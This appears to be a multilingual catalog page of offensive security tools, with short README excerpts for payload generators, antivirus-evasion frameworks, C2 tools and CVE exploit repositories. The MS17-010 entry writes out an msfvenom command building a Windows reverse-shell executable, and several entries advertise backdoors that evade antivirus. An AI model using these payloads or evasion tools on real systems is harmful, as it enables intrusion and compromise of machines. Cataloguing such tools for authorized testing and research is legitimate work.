XSSFuzzer

XSS Fuzzer XSS Fuzzer es una aplicación simple escrita en HTML/JavaScript/CSS plano que genera payloads XSS basados en vectores definidos por el usuario utilizando múltiples marcadores de posición que se reemplazan con listas de fuzzing. Ofrece la posibilidad de generar los payloads como texto...

api_wordlist

apiwordlist Una lista de palabras con nombres de API utilizada para el fuzzing de APIs de aplicaciones web. Contenido apiseeninwild.txt - Contiene nombres de funciones de API que he visto en la naturaleza. actions.txt - Todos los verbos de nombres de funciones de API objects.txt - Todos los...

discover

Discover Custom Bash and Python scripts used to automate various penetration testing tasks including recon, scanning, enumeration, and malicious payload creation using Metasploit. For use with Ubuntu. Limited support for Kali Linux. Lee Baird @discoverscripts Jay "L1ghtn1ng" Townsend @jaytownsend...

TheFatRat

TheFatRat 大規模エクスプロイトツール TheFatRat は、有名なペイロードでマルウェアをコンパイルし、コンパイルされたマルウェアを Linux、Windows、Mac、Android 上で実行できるエクスプロイトツールです。TheFatRat は、ほとんどのアンチウイルスを回避できるバックドアやペイロードを簡単に作成する方法を提供します。 情報 このツールは教育目的のみであり、事前の相互同意なしにターゲットを攻撃するために TheFatRat を使用することは違法です。 開発者は、このプログラムによって引き起こされた誤用や損害について一切の責任を負いません。 機能 !...

Text4ShellPayloads

Text4ShellPayloads Este proyecto incluye un script de Python que genera comandos maliciosos aprovechando la vulnerabilidad CVE-2022-42889 El servidor vulnerable se configuró según las indicaciones de "Karthik U J" siguiendo el paso en https://github.com/karthikuj/cve-2022-42889-text4shell-docker...

powercat

powercat Netcat: La versión de PowerShell. Compatible con PowerShell versión 2 y posteriores Instalación powercat es una función de PowerShell. Primero debes cargar la función antes de poder ejecutarla. Puedes colocar uno de los siguientes comandos en tu perfil de PowerShell para que powercat se...

AggressorScripts

Scripts de Aggressor Colección de scripts de Aggressor para Cobalt Strike 3.0+ obtenidos de múltiples fuentes AllInOne.cna v1 - Eliminado y desactualizado Script multiuso para mejorar la experiencia del usuario con Cobalt Strike. Creación de menús personalizados, registro, persistencia, enumeraci...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 中文 README Descripción JNDI-Injection-Exploit-Plus es una herramienta para generar enlaces JNDI funcionales y proporcionar servicios en segundo plano iniciando servidores RMI, LDAP y HTTP. Usando esta herramienta puedes obtener enlaces JNDI, puedes insertar estos enlace...

avoidz

Avoidz v 1.3 Autor: Mascerano Bachir dev-labs Aviso legal: El autor no se hace responsable del mal uso de esta herramienta, recuerde que esto es solo con fines educativos. Descripción: Esta herramienta genera powershell codificado con payloads de metasploit, convierte plantillas de C, C, py, go a...

cve-2020-2555

CVE-2020-2555 Ejecutar Main.java generará payload.ser en el directorio actual; este payload se puede enviar al servidor de destino mediante el protocolo t3...

Winpayloads

Winpayloads - Python2.7 Generación de payloads indetectables para Windows con extras que se ejecutan en Python2.7 Como siempre, no subas payloads a ningún verificador de virus en línea Detección de Virus Total - Actualizado 25/01/2019 - 16/68 Detecciones...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usando msfvenom para generar un payload: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Especifica el payload una shell TCP reversa para Windows. LHOST=10.10.14.4: La dirección IP...

cve-2023-42115

CVE-2023-42115: Scripts de Exploit y Generador de Payload Este repositorio contiene dos scripts de Python: 1. exploit.py : Un script para explotar CVE-2023-42115. 2. generatepayload.py : Un script para generar payloads de reverse shell. Requisitos previos Antes de ejecutar los scripts, asegúrate ...

Villain

Villain Propósito Villain es un framework C2 de alto nivel Etapa 0/1 que puede manejar múltiples shells TCP reversas y basadas en HoaxShell, mejorar su funcionalidad con características adicionales comandos, utilidades y compartirlas entre servidores hermanos conectados instancias de Villain...

Kage

Kage Kage ka-geh es una herramienta inspirada en AhMyth diseñada para el Servidor RPC de Metasploit para interactuar con sesiones meterpreter y generar payloads. Por ahora solo soporta windows/meterpreter y android/meterpreter. Comenzando Por favor, sigue estas instrucciones para obtener una copi...

Veil-Evasion

Veil-Evasion Veil-Evasion es una herramienta diseñada para generar payloads de Metasploit que evaden las soluciones antivirus comunes. NOTA: ./setup/setup.sh debe ejecutarse de nuevo en cada actualización de versión importante. Si recibes errores importantes al ejecutar Veil-Evasion, primero...

pupy

Pupy Simple Installation pip3 install pipx pipx ensurepath pipx install git+https://github.com/n1nj4sec/pupy@nextgen pupysh If you want more detailed informationRefer to the wiki Development Install git clone https://github.com/n1nj4sec/pupy cd pupy git checkout nextgen git submodule init git...

Veil

Veil Veil Logo Veil es una herramienta diseñada para generar payloads de metasploit que evitan las soluciones antivirus comunes. Veil actualmente tiene soporte por @ChrisTruncer Requisitos de Software: Los siguientes SO son oficialmente compatibles: Debian 8+ Kali Linux Rolling 2018.1+ Es probabl...

ysonet

YSoNet generates .NET deserialization payloads for authorized security research, with an interactive wizard and a command line for repeatable work. Interactive configuration: choose a gadget or plugin, get help for each setting, and copy the equivalent command. Searchable discovery: filter gadget...

log4j-payload-generator

0x01 Introducción log4j-payload-generator es un plugin del framework woodpecker que genera payloads para la vulnerabilidad de inyección JNDI de Log4j. Actualmente puede generar los siguientes 5 tipos de payloads con un solo clic. 1. Payload original 2. Payload de tipo upper|lower:x con mezcla...